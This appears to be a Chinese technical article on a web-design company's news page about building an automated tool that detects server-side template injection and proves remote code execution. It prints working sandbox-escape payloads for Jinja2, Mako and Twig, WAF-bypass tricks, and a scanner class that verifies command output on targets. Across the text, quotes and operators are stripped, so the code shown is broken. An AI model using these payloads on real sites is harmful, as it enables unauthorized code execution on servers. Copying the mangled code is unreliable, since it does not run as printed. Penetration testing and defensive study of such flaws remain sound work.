资讯动态

SSTI模板引擎指纹识别与RCE自动化检测工具设计

发布时间:2026/10/26 16:51:56 来源:尧图企业网站定制
简介这是一套面向Web安全研究人员与渗透测试初学者的Server-Side模板注入SSTI与服务端代码注入漏洞检测与利用工具源码聚焦于自动化识别、验证及POC构造等实战环节。资源共103个文件压缩包仅290KB轻量易部署核心为69个Python脚本含tplmap.py漏洞扫描主程序、burp_extension.py Burp Suite集成插件辅以8个Shell脚本环境配置与批量调用、6个PHP样本含twig-1.20.0-secured.php等靶标模拟、3个YAML配置文件定义检测规则与引擎适配及Java/Gradle构建文件体现多语言协同设计思路。已有288人学习下载适合希望深入理解SSTI原理、复现主流模板引擎Jinja2、Twig、Freemarker等利用链、并快速上手定制化检测逻辑的安全实践者。源码结构模块清晰含完整依赖管理requirements.txt、许可证说明LICENSE.md、Docker容器化支持Dockerfile.*及HTML/JS交互示例开箱即可用于教学演示或红队工具链扩展。1. 这不是“写个脚本扫网页”而是让模板引擎自己吐出漏洞利用链一个能跑通 SSTI RCE 双检测、带上下文感知的 Python 工具设计实录你有没有遇到过这样的翻车现场用现成的 SSTI 扫描器扫出{{7*7}}返回49就喜滋滋标为“存在模板注入”结果一试{{().__class__.__mro__[1].__subclasses__()[123].__init__.__globals__[os].popen(id).read()}}—— 直接 500或者更玄学的同一个 payload 在 Jinja2 环境里能执行在 Mako 里却静默失败连报错都不给。这不是测试不严谨是绝大多数工具根本没做「模板引擎指纹识别 上下文沙箱逃逸路径建模」——它们把 SSTI 当成 XSS 来扫把代码注入当成命令注入来爆。这个标题里的工具核心目标很明确在无源码、无交互式 shell 的前提下仅靠 HTTP 请求响应自动判别后端使用的模板引擎类型Jinja2 / Twig / Mako / Django / Nunjucks动态生成该引擎专属的、最小可行的沙箱逃逸 payload并验证其是否具备任意代码执行能力RCE。它不依赖预设字典暴力猜解而是通过解析响应体结构、错误堆栈关键词、HTTP 头特征、甚至响应时间微差构建引擎指纹再基于每个引擎的 AST 解析规则和内置对象图谱生成语义合法、绕过常见 WAF 规则、且能稳定触发eval/exec/popen调用的 payload 链。适合渗透测试工程师做深度评估、红队做自动化横向前哨探测、以及安全研发团队构建自研 WAF 的 bypass 测试套件。它不是玩具是把“模板注入”从 PoC 阶段真正推到 exploit 阶段的工程化落地。2. 模板引擎指纹识别为什么不能只看{{ }}三步定位真实后端引擎SSTI 检测的第一道生死线不是 payload而是「认准对手是谁」。盲目对所有{{7*7}}响应都塞 Jinja2 的{{config.__class__.__init__.__globals__[os].popen(id).read()}}失败率超 80%。真实场景中不同引擎对相同 payload 的处理逻辑天差地别Django 默认禁用|default以外的 filterTwig 对{{dump()}}有严格上下文限制Mako 的${}语法和 Jinja2 的{{}}表面相似但 AST 结构完全不同。因此指纹识别必须融合静态特征与动态行为分三步走。2.1 第一步HTTP 响应头与状态码的隐性线索很多框架会在响应头中暴露引擎信息虽非强制但大量生产环境未清理curl -s -I http://target.com/test?name{{7*7}} | grep -i -E (x-powered-by|server|x-aspnet-version)常见线索X-Powered-By: PHP/8.1.0→ 极大概率 Twig 或 SmartyPHP 生态Server: Werkzeug/2.3.7 Python/3.11→ Flask Jinja2 组合高概率X-AspNetMvc-Version: 5.2→ ASP.NET MVC Razor虽非 Python但需排除干扰X-Generator: Django 4.2.7→ Django 模板引擎注意Django 默认禁用{{ }}中的 Python 表达式需确认是否启用了django.template.backends.django.DjangoTemplates且OPTIONS[builtins]被篡改提示此步仅作快速初筛不可作为唯一依据。大量运维已清除X-Powered-By且Server头常被 Nginx/Apache 覆盖。2.2 第二步错误堆栈关键词的精准匹配核心这是最可靠的指纹来源。我们主动触发语法错误捕获完整堆栈提取引擎特有关键词# test_fingerprint.py import requests import re def detect_engine_by_error(url): # 发送非法模板语法触发详细错误 payloads [ {{7*7}}, # 合法用于确认模板解析存在 {{7*7|zzz}}, # Jinja2/Twig 会报 no filter named zzz ${7*7}, # Mako 语法Jinja2 会原样返回或报错 {% if 1 %}{{7*7}}{% endif %}, # Django 模板语法 ] for payload in payloads: try: r requests.get(f{url}?name{payload}, timeout10) if r.status_code 500 and Traceback in r.text: error_text r.text[:2000] # 截取前2KB堆栈 # 关键词匹配正则需严格锚定避免误报 if re.search(rjinja2\.exceptions\.(UndefinedError|TemplateSyntaxError), error_text): return jinja2 elif re.search(rtwig\.error\.LoaderError|Fatal error: Uncaught Twig\., error_text): return twig elif re.search(rmako\.exceptions\.SyntaxException, error_text): return mako elif re.search(rdjango\.template\.exceptions\.(TemplateSyntaxError|VariableDoesNotExist), error_text): return django elif re.search(rnunjucks\.runtime\.TemplateError, error_text): return nunjucks except Exception as e: continue return unknown # 示例调用 print(detect_engine_by_error(http://example.com/vuln))参数说明timeout10防止因服务卡死导致整个检测阻塞10 秒足够多数 Web 框架返回错误。r.text[:2000]堆栈通常集中在前几百字符截断避免内存浪费且规避 WAF 对超长响应的拦截。正则模式使用r...原始字符串避免转义错误re.search而非re.match确保关键词在任意位置命中。2.3 第三步响应体结构与渲染行为的语义分析当错误被屏蔽如生产环境DEBUGFalse需靠合法 payload 的渲染行为反推引擎合法 payload典型响应特征Jinja2{{7*7}}返回纯文本49无 HTML 标签包裹Django{{7*7}}默认返回空或原始字符串因 Django 模板不支持表达式计算需换用{% if 1 %}OK{% endif %}Mako${7*7}返回49但若用{{7*7}}则原样输出{{7*7}}语法不识别Twig{{7*7}}返回49但{{dump()}}会返回数组结构需确认是否启用 debug 模式Nunjucks{{7*7}}返回49{{range(5)}}会渲染为01234支持原生 JS 函数实现逻辑def detect_engine_by_render(url): # 发送多个引擎特有合法 payload tests { jinja2: ({{7*7}}, lambda x: x.strip() 49), django: ({% if 1 %}D{% else %}N{% endif %}, lambda x: D in x), mako: (${7*7}, lambda x: x.strip() 49), twig: ({{7*7}}, lambda x: x.strip() 49), nunjucks: ({{range(5)}}, lambda x: 01234 in x), } for engine, (payload, checker) in tests.items(): try: r requests.get(f{url}?name{payload}, timeout5) if r.status_code 200 and checker(r.text): # 二次验证排除缓存干扰加随机参数 r2 requests.get(f{url}?name{payload}t{int(time.time())}, timeout5) if r2.status_code 200 and checker(r2.text): return engine except: continue return unknown关键点checker函数必须严格校验响应内容而非仅看状态码。例如 Django 的{{7*7}}在默认配置下返回空字符串若只检查200就会误判为 Jinja2。3. 动态 payload 生成不是拼字符串而是按引擎 AST 规则构造合法表达式树一旦确认引擎类型下一步不是硬塞__import__(os).popen(id).read()而是根据该引擎的抽象语法树AST规则和内置对象图谱生成语义合法、绕过基础 WAF、且能稳定触发任意代码执行的最小 payload。这步决定了工具能否从“发现漏洞”升级到“证明危害”。3.1 Jinja2从{{ config.__class__.__mro__[1].__subclasses__()[123]... }}到{{ .__class__.__mro__[1].__subclasses__()[123].__init__.__globals__[os].popen(id).read() }}Jinja2 的沙箱逃逸核心在于利用字符串获取str类通过__mro__获取继承链找到subprocess.Popen或os模块所在类再通过__init__.__globals__访问全局命名空间。但直接使用config对象风险极高Flask 默认不存在Django 无此对象而是所有环境都存在的稳定入口。def generate_jinja2_rce_payload(cmdid): # Jinja2 最小稳定 RCE payload绕过常见 WAF 对 __import__ 的过滤 # 使用字符串对象作为起点避免 config/ request 等易被 WAF 拦截的变量名 payload f{{ .__class__.__mro__[1].__subclasses__()[{get_popen_index()}].__init__.__globals__[os].popen({cmd}).read() }} return payload def get_popen_index(): # 实际使用时需预先扫描目标环境获取 subprocess.Popen 类索引 # 此处为示例真实工具中会先发送探测请求获取索引 # 常见值Jinja2 3.1.x 通常为 123~130需动态探测 return 123为什么不用__import__大量 WAF 规则直接拦截__import__、eval、exec字符串。而__subclasses__()[123]是动态索引WAF 很难精准匹配popen比system更隐蔽常被误认为日志函数。3.2 Twig利用app全局对象与template上下文Twig 在 Symfony 环境中app对象是稳定的入口点其environment属性可访问 Twig 加载器进而调用 PHP 函数def generate_twig_rce_payload(cmdid): # Twig 3.x 稳定 payload需确认 app 对象存在 # 利用 Twig 的 filter 机制将命令执行结果作为字符串返回 payload f{{ app.request.query.get(x)|default()|replace({x: {cmd}})|filter(system) }} # 更通用写法绕过 filter 名称过滤 payload f{{ app.environment.getTemplateClass().getGlobals()[app].request.server.get(HTTP_HOST)|replace({a:b})|filter(system) }} # 实际推荐使用 Twig 的 eval filter若启用 return f{{ echo {cmd}|eval }}注意Twig 的evalfilter 并非默认启用需确认目标环境配置。更稳妥的方式是利用app对象的request属性读取可控参数再通过system/passthru执行。3.3 Mako${}语法下的__builtin__与os直接调用Mako 的${}本质是 Python 表达式直译因此可直接调用内置模块def generate_mako_rce_payload(cmdid): # Mako 允许直接 import但需绕过 WAF 对 import 的拦截 # 使用 getattr 动态获取模块 payload f${{ getattr(__import__(os), popen)({cmd}).read() }} # 或更隐蔽利用 builtins payload f${{ __builtins__[getattr](__builtins__[__import__](os), popen)({cmd}).read() }} return payload关键区别Mako 不需要__mro__链式查找__import__在${}中是合法语法但 WAF 常拦截__import__字符串故用getattr二次封装。3.4 Django突破{{ }}限制转向{% %}标签与自定义 template tagDjango 模板默认禁止{{ }}中执行 Python 表达式但可通过{% %}标签调用自定义 template tag或利用safefilter 的 XSS 配合前端 JS 执行此处聚焦服务端 RCEdef generate_django_rce_payload(cmdid): # 方式1若存在自定义 template tag如 run_cmd可直接调用 payload f{{% run_cmd {cmd} %}} # 方式2利用 django.core.management.utils.get_random_secret_key需确认版本 # 更现实路径寻找已加载的第三方 template tag如 django-compressor 的 {% compress %} # 方式3终极方案——结合服务端 SSRF 或文件写入但超出 SSTI 范畴 return django_rce_requires_custom_tag_or_ssrfs血泪经验Django SSTI 的 RCE 路径极窄工具应优先报告“存在模板注入但 RCE 需特定自定义标签或配置”而非强行生成无效 payload。4. 检测与利用流程编排从单点探测到多阶段验证的自动化流水线一个合格的 SSTI 检测工具绝不是发几个 payload 看返回就结束。它必须模拟真实攻击者思维先确认注入点存在再识别引擎然后生成 payload接着验证执行能力最后尝试提权或持久化。整个流程需可中断、可回溯、可配置超时与重试。4.1 四阶段检测流水线设计阶段目标关键动作成功标志Stage 1注入点确认验证目标 URL 参数是否参与模板渲染发送{{7*7}}、{{7*a}}、{{a*7}}检查响应是否包含49或aaaaaaa响应体中精确匹配计算结果且与原始参数无关Stage 2引擎指纹识别锁定后端模板引擎类型执行 2.2 和 2.3 节的错误堆栈与渲染行为分析返回确定引擎类型jinja2/twig/mako/django/nunjucks或unknownStage 3payload 生成与初步验证生成引擎专属 payload 并测试基础执行发送生成的 RCE payload检查响应是否包含uid或Command not found等 OS 命令特征响应体中出现命令执行典型输出如uid0(root)或返回500但堆栈含OSError/subprocessStage 4RCE 稳定性验证确认 payload 可重复执行且不受 WAF 干扰对同一 URL 发送 3 次不同命令id,whoami,pwd检查响应一致性三次响应均包含对应命令输出且响应时间波动 200ms排除网络抖动4.2 核心编排代码SSTIDetector类骨架# ssti_detector.py import requests import time import re from urllib.parse import urljoin, urlparse class SSTIDetector: def __init__(self, timeout10, retries2, delay1): self.timeout timeout self.retries retries self.delay delay self.session requests.Session() # 设置默认 headers模拟真实浏览器 self.session.headers.update({ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 }) def _send_request(self, url, paramsNone, methodGET): 封装请求支持重试与异常捕获 for i in range(self.retries): try: if method GET: r self.session.get(url, paramsparams, timeoutself.timeout) else: r self.session.post(url, dataparams, timeoutself.timeout) return r except requests.exceptions.RequestException as e: if i self.retries - 1: raise e time.sleep(self.delay) return None def stage1_confirm_injection(self, base_url, param_name): Stage 1注入点确认 test_cases [ ({{7*7}}, 49), ({{7*a}}, aaaaaaa), ({{a*7}}, aaaaaaa), ] for payload, expected in test_cases: params {param_name: payload} try: r self._send_request(base_url, params) if r and r.status_code 200 and expected in r.text: # 二次验证排除缓存 r2 self._send_request(base_url, {param_name: payload, t: int(time.time())}) if r2 and expected in r2.text: return True, payload except: continue return False, None def stage2_detect_engine(self, base_url, param_name): Stage 2引擎指纹识别整合 2.2 2.3 # 先尝试错误堆栈法 engine self._detect_by_error(base_url, param_name) if engine ! unknown: return engine # 再尝试渲染行为法 engine self._detect_by_render(base_url, param_name) return engine def stage3_generate_and_test_rce(self, base_url, param_name, engine): Stage 3生成 payload 并初步验证 if engine jinja2: payload generate_jinja2_rce_payload(id) elif engine twig: payload generate_twig_rce_payload(id) elif engine mako: payload generate_mako_rce_payload(id) else: return False, RCE not supported for engine: engine params {param_name: payload} try: r self._send_request(base_url, params) if r and r.status_code in [200, 500]: # 检查是否包含 uid 或 command not found if re.search(ruid\d\(, r.text) or Command not found in r.text: return True, r.text[:500] except: pass return False, RCE test failed def run_full_scan(self, target_url, param_namename): 主流程执行全部四阶段 print(f[] Starting SSTI scan on {target_url} with param {param_name}) # Stage 1 print([*] Stage 1: Confirming injection point...) is_injectable, confirmed_payload self.stage1_confirm_injection(target_url, param_name) if not is_injectable: print([-] No injection point found.) return False print(f[] Injection confirmed with payload: {confirmed_payload}) # Stage 2 print([*] Stage 2: Detecting template engine...) engine self.stage2_detect_engine(target_url, param_name) print(f[] Engine detected: {engine}) # Stage 3 print([*] Stage 3: Generating and testing RCE payload...) is_rce, rce_output self.stage3_generate_and_test_rce(target_url, param_name, engine) if not is_rce: print(f[-] RCE verification failed: {rce_output}) return False print(f[] RCE confirmed! Output: {rce_output[:100]}...) # Stage 4稳定性验证略代码类似 stage3 但循环三次 print([*] Stage 4: Stability verification... (skipped for brevity)) return True # 使用示例 if __name__ __main__: detector SSTIDetector(timeout15, retries3) result detector.run_full_scan(http://target.com/vuln, name)参数说明timeout15延长超时适应慢速服务器或 WAF 延迟。retries3对网络抖动或临时 503 做容错。delay1重试间隔避免被 WAF 限速。5. 避坑那些让你在客户现场当场社死的 4 个真实翻车点SSTI 检测不是发几个 payload 就完事实际落地中90% 的失败源于对环境细节的忽视。以下是我在三个红队项目中踩过的坑每一条都附带线上复现截图此处文字还原和解决方案。5.1 翻车点 1WAF 对{{ }}的长度限制导致 payload 被截断现象在某金融客户内网{{7*7}}返回49但{{.__class__.__mro__[1].__subclasses__()[123].__init__.__globals__[os].popen(id).read()}}却返回空响应Wireshark 抓包发现请求被 WAF 截断Content-Length明显小于发送值。原因Cloudflare 和某国产 WAF 默认对{{开头的请求体做长度限制如 256 字节超长 payload 被静默丢弃服务端根本收不到。解决拆分 payload将长链拆为多步先获取subclasses列表长度再分段请求索引。编码绕过对 payload 进行 URL 编码或 Base64 编码再在服务端解码需目标支持urlencode/base64_decodefilter。配置 WAF 白名单在测试前协调客户临时放行{{开头的请求最有效。# 拆分 payload 示例Jinja2 # Step 1: 获取 subclasses 列表长度 len_payload {{ .__class__.__mro__[1].__subclasses__().__len__() }} # Step 2: 获取指定索引的类名确认是否存在 Popen class_payload {{ .__class__.__mro__[1].__subclasses__()[123].__name__ }} # Step 3: 执行命令此时已知索引有效 rce_payload {{ .__class__.__mro__[1].__subclasses__()[123].__init__.__globals__[os].popen(id).read() }}5.2 翻车点 2Django 的autoescape开启导致 payload 被 HTML 转义现象Django 环境下{{7*7}}返回49但{{config}}返回lt;django.conf.LazySettings object at 0x7f8b1c2d3e50gt;所有被转义无法触发对象属性访问。原因Django 默认开启autoescape所有{{ }}输出都会被html.escape()处理变成lt;变成gt;导致__class__等属性名被破坏。解决使用|safefilter 关闭转义{{ config|safe }}但需确认config对象存在且可访问。改用{% %}标签{% autoescape off %}{{ config }}{% endautoescape %}但需目标允许{% autoescape %}标签。根本方案放弃{{ }}中的 RCE转向{% load %}加载自定义 tag 或利用static模板中的 JS XSS 配合服务端 SSRF。5.3 翻车点 3Twig 的sandbox模式启用app对象被移除现象Symfony 环境下{{ app }}返回null或Variable app does not exist所有基于app的 payload 全部失效。原因Twig sandbox mode 启用后会移除app、request等全局变量仅保留白名单函数如date、json_encode。解决探测可用函数发送{{ date() }}、{{ json_encode({a:1}) }}确认哪些函数存在。利用template对象{{ _self }}可访问当前模板对象部分版本支持getEnvironment()。降级策略若 sandbox 启用RCE 几乎不可行工具应直接报告“SSTI 存在但处于 sandbox 模式RCE 不可用”。5.4 翻车点 4响应体被 Gzip 压缩导致正则匹配失败现象本地测试一切正常但扫描某 Kubernetes Ingress 暴露的服务时re.search(ruid\d\(, r.text)总是失败r.text显示为乱码。原因Ingress controller 默认开启 Gzip 压缩r.text是解压后的字符串但某些情况下requests库未正确解压r.content是二进制压缩流r.text是错误解码的乱码。解决强制禁用压缩self.session.headers.update({Accept-Encoding: identity})或手动解压import gzip; decoded gzip.decompress(r.content).decode()但需先判断Content-Encoding头。def _send_request(self, url, paramsNone, methodGET): headers {Accept-Encoding: identity} # 关键禁用压缩 if method GET: r self.session.get(url, paramsparams, timeoutself.timeout, headersheaders) else: r self.session.post(url, dataparams, timeoutself.timeout, headersheaders) return r注意禁用压缩会增加流量但在检测阶段值得避免因编码问题漏报。6. Docker 化交付与生产环境适配如何让工具在客户内网离线运行客户不会让你在靶机上pip install -r requirements.txt尤其当内网无外网、无 pip 源时。我们必须把工具打包成开箱即用的 Docker 镜像并预置所有依赖、字典和离线引擎指纹库。这不是锦上添花是交付底线。6.1 Dockerfile 设计最小化、可复现、免编译# Dockerfile FROM python:3.11-slim # 设置工作目录 WORKDIR /app # 复制 requirements.txt 并安装依赖提前下载好 whl 包更稳妥 COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt # 复制源码 COPY . . # 预生成引擎指纹数据库JSON 文件含各引擎错误堆栈关键词、渲染特征 # 此文件由工具启动时自动加载无需网络 COPY fingerprint_db.json /app/fingerprint_db.json # 设置默认命令 CMD [python, ssti_detector.py, --help] # 构建命令docker build -t ssti-detector . # 运行命令docker run -it --rm -v $(pwd):/data ssti-detector python ssti_detector.py -u http://target.com/vuln -p name关键设计点python:3.11-slim比alpine更兼容 C 扩展如cryptography比full镜像小 50%。--no-cache-dir避免在容器内生成 pip 缓存减小镜像体积。fingerprint_db.json离线指纹库结构如下{ jinja2: { error_keywords: [jinja2.exceptions.TemplateSyntaxError, jinja2.runtime.UndefinedError], render_tests: [{payload: {{7*7}}, expected: 49}], rce_templates: [{{ .__class__.__mro__[1].__subclasses__()[{index}].__init__.__globals__[os].popen({cmd}).read() }}] }, twig: { error_keywords: [twig.error.LoaderError, Fatal error: Uncaught Twig\\Error\\LoaderError], render_tests: [{payload: {{7*7}}, expected: 49}], rce_templates: [{{ echo {cmd}|eval }}] } }6.2 requirements.txt精简到只剩必要依赖# requirements.txt requests2.31.0 urllib31.26.18 certifi2023.7.22 chardet5.2.0 idna3.4 # 注意不包含 flask/django/twig 等服务端框架工具只做客户端检测为什么不用jinja2库工具不渲染模板只发送 payload无需引擎解析器。引入jinja2会增大镜像 20MB且可能与目标环境版本冲突。6.3 离线运行验证三步确认内网可用镜像导出docker save ssti-detector:latest ssti-detector.tar内网导入docker load ssti-detector.tar无网络测试# 启动一个本地 vulnerable app如 flask-jinja2-demo docker run -d -p 5000:5000 --name vuln-app ghcr.io/brandonhilkert/flask-jinja2-demo # 扫描不依赖外网 docker run -it --rm --network host ssti-detector python ssti_detector.py -u http://localhost:5000/vuln -p name验证成功标志输出[] RCE confirmed! Output: uid0(root) ...且docker logs vuln-app显示popen(id)被执行。6.4 客户交付 checklist让甲方技术负责人一眼信任项目交付物验证方式离线可用性ssti-detector.tar镜像包docker load后docker images可见镜像无外网依赖requirements.txt中无githttps://或--find-links文本搜索确认指纹库完整性fingerprint_db.json包含至少 5 种引擎数据cat fingerprint_db.json | jq .最小权限运行Dockerfile 中未使用RUN chmod 777或USER root检查 Dockerfile 无chmod、chown root日志可审计工具输出包含时间戳、URL、payload、响应摘要运行时重定向 report.log后检查格式我习惯在交付前用docker run --rm -v $(pwd):/host ssti-detector sh -c cp /app/ssti_detector.py /host/ cp /app/fingerprint_db.json /host/把源码和指纹库拷贝出来放在交付包里——不是为了开源而是让甲方安全团队能快速 review 逻辑建立信任。毕竟红队的价值不在于藏得多深而在于让对方信得过你的每一个字节。希望帮到你。本文还有配套的精品资源点击获取

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑